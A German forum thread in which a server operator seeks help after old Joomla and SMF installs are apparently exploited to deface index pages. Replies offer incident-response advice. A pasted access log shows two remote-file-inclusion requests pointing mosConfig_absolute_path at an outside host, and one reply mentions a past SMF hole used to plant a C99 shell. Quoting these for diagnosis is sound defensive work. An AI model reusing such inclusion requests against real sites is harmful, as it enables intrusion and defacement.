Server angegriffen - Was tun?

  • Thread starter Thread starter Gast
  • Start date Start date
G

Gast

Guest
Ich habe ein Problem mit meinem Server, und zwar hat sich jemand Zugriff verschafft. Es wurden alle index.php und index.html Dateien innerhalb /var/www und Unterordnern gearbeitet, wahrscheinlich mit einem Script.
Nun sieht es so aus: *Link removed*

In /var/www waren 2 alte Joomla Installation, sowie eine alte SMF Installation, ist es möglich, dass der Angreifer ein Bug in diesen Systemen ausgenutzt hat? Mit einer Sicherheitslücke in den PHP Scripte hätte er Zugriff auf ganz /var/www, da alle Dateien dort dem User www-data gehören.

Ansonsten würde mir nur SSH einfallen, weil es keinen FTP Zugang zu /var/www mehr gibt (ich nutze das Verzeichnis nicht mehr, seitdem ich SysCP nutze).

Hat jemand eine Idee, woran das liegen könnte? Wenn der Angreifer wirklich über SSH ins System gekommen ist, hätte er viel größeren Schaden anrichten können, bzw. alles löschen können.
Meine Websiten in /var/kunden (SysCP) sind alle noch in Ordnung.

Der letzte Eintrag in xferlog ist von Februar dieses Jahren, danach habe ich SysCP installiert und dort haben alle Kunden ihre eigenen FTP Logs.

Ich bedanke mich schon einmal für Antworten.

€dit: Gut zu wissen wäre: OS: Debian 5
 
Last edited by a moderator:
Kannst du denn zu 100% ausschließen, das er keinen Zugriff über SSH hatte und sogar als root irgendwas angerichtet hat?
Was sagen die Logs?
Überprüfe aufjedenfall mal den kompletten Server von oben nach unten.

Wenn du dir sicher bist, das es ein php-Skript war mache es ausfindig und entferne es. Anschließend lösche die hochgeladenen Daten von ihm.
 
Nein, bin mir nicht sicher, ob er Zugang über SSH hatte. in den auth.logs stehen keine ungewöhlichen SSH-Verbindungen drin (alle nur von meiner IP), aber das muss ja nichts heißen, kann ja auch sein, dass er die logs gelöscht/geändert hat.

Ich weiß nicht, wie ich die vielen access.logs von apache durchsuchen soll, ich weiß ja nicht einmal genau, wann der Angriff stattgefunden hat.
 
Hole den Server jetzt ersteinmal vom Netz! Bevor dein Server noch für irgendwas genutzt wird was dir nachher teuer zu stehen kommt.

Dann gehst du den Server von oben nach unten durch. Logs für Logs. Speziel für die Domain auf der die Dateien verändert wurden. Den da muss ja dann evt. das unsichere Script liegen. Mit einem Virenscanner kannst du nach Viren, etc. suchen.

Solltest du dir nachher immer noch nicht sicher sein ob er nix angerichtet hat hilft wohl oder übel nur eine Neuinstallation. Ist das sicherste!

http://huschi.net/17_257_de-was-tun-nach-einem-einbruch.html
 
Last edited by a moderator:
Eine nicht upgedatete Joomla-Installation zu betreiben ist schon grob fahrlässig, das ist so als ob man seinen Geldbeutel nachts vor dem Haus liegen lässt und hofft dass er morgens noch da ist...:rolleyes:

In den access_logs der betreffenden Site wirst du sicherlich fündig wenn du nach "mosConfig_absolute_path" oder "Config_absolute_path" suchst.
 
Ich würd, wenn nicht schon vorhanden iptabels rules für ausgehende Verbindungen erstellen, alles unnötige blocken, bzw. protokolieren.

Einen Script schreiben der sekündlich netstat die Verbindungen zählt und dich benachrichtigt wenn die Verbindungen, drastisch höher sind als normal, also über 500 oder so.

Ansonsten Festplatte durchforsten, insbesondere Webdirs...

Natürlich wäre eine Neuinstallation die beste Lösung, aber wenn nicht anders möglich würde ich wie oben vorgehen.

Gruß
 
bad_brain said:
In den access_logs der betreffenden Site wirst du sicherlich fündig wenn du nach "mosConfig_absolute_path" oder "Config_absolute_path" suchst.
Click to expand...

Code: 
209.94.48.38 - - [14/Dec/2009:21:45:52 +0100] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://209.94.48.38/1.gif?/ HTTP/1.1" 301 286 "-" "Morfeus Fucking Scanner"
209.94.48.38 - - [14/Dec/2009:21:45:52 +0100] "GET /components/com_rwcards/rwcards.advancedate.php?mosConfig_absolute_path=http://209.94.48.38/1.gif?/ HTTP/1.1" 301 286 "-" "Morfeus Fucking Scanner"

Das?

Das sieht für mich nach einer Sicherheitslücke bei Verwendung von globals aus, ich habe aber globals ausgeschaltet :/.
 
Last edited by a moderator:
Deine Joomla-Komponente validiert nicht vernünftig, was es übergeben bekommt. Wie Du ja schon schriebst, waren die Installationen veraltet, womit Du im Endeffekt selber Schuld bist, dass deine Seiten nun defaced wurden.

Merke für die Zukunft: Eingesetzte Software stets aktuell halten. Letzten Endes bist Du derjenige, der die Verantwortung trägt.
 
Welche Version des SMF war/ist es denn?

Es gab nämlich bis zur Version 1.1.10 eine Lücke über die man eine C99 Shell installieren konnte und der Angreifer dann root auf dem Server ist.
 
siliconwoods said:
Welche Version des SMF war/ist es denn?

Es gab nämlich bis zur Version 1.1.10 eine Lücke über die man eine C99 Shell installieren konnte und der Angreifer dann root auf dem Server ist.
Click to expand...

Soweit ich mich erinnere, müsste da eine 1.1.8 draufgewesen sein. Das waren nicht meine Seiten, deswegen weiß ich das nicht genau.

Wenn er ein SMF Bug ausgenutzt hat, gibt es eine Möglichkeit "Spuren" davon zu finden?
Ich glaube ich muss das System neu aufsetzen, was außer viel Arbeit auch keine Nachteile hat, da auf dem System zur Zeit sowieso keine aktiven Webseiten laufen. Nur trotzdem möchte ich hier mehr drüber wissen, damit das nicht noch einmal vorkommt ;).

wstuermer said:
Deine Joomla-Komponente validiert nicht vernünftig, was es übergeben bekommt. Wie Du ja schon schriebst, waren die Installationen veraltet, womit Du im Endeffekt selber Schuld bist, dass deine Seiten nun defaced wurden.
Click to expand...
Das ist ein Scanner, der in allen möglichen Scripten nach Sicherheitslücken sucht, die durch register globals=on entstehen. Der taucht schon länger in meinen Logs auf, aber hatte nie Erfolg, da ich register globals ausgeschaltet habe. Ich weiß nicht, ob er bei der Joomla Installation Erfolg hatte, aber auf jeden Fall ruft der alle möglichen Joomla Dateien mit diesen Paramtern auf.
 
Last edited by a moderator:
Zu SSH, am besten immer ROOT deaktivieren und über Key file zum Server verbinden.

mfg
 
Im Anhang ist ein kleines Script drin, mit dem du das SMF untersuchen kannst und wenn was gefunden wird kannst du es automatisch fixen lassen.

Es war übrigens kein SMF Bug sondern eher eine Lücke in PHP, davon war auch Joomla, WBB, vbBulletin usw. betroffen.

Aber wenn du eh den Server neu aufsetzt dann brauchste das Tool ja nicht mehr. :)
 

Attachments

You must log in or register to reply here.
Back
Top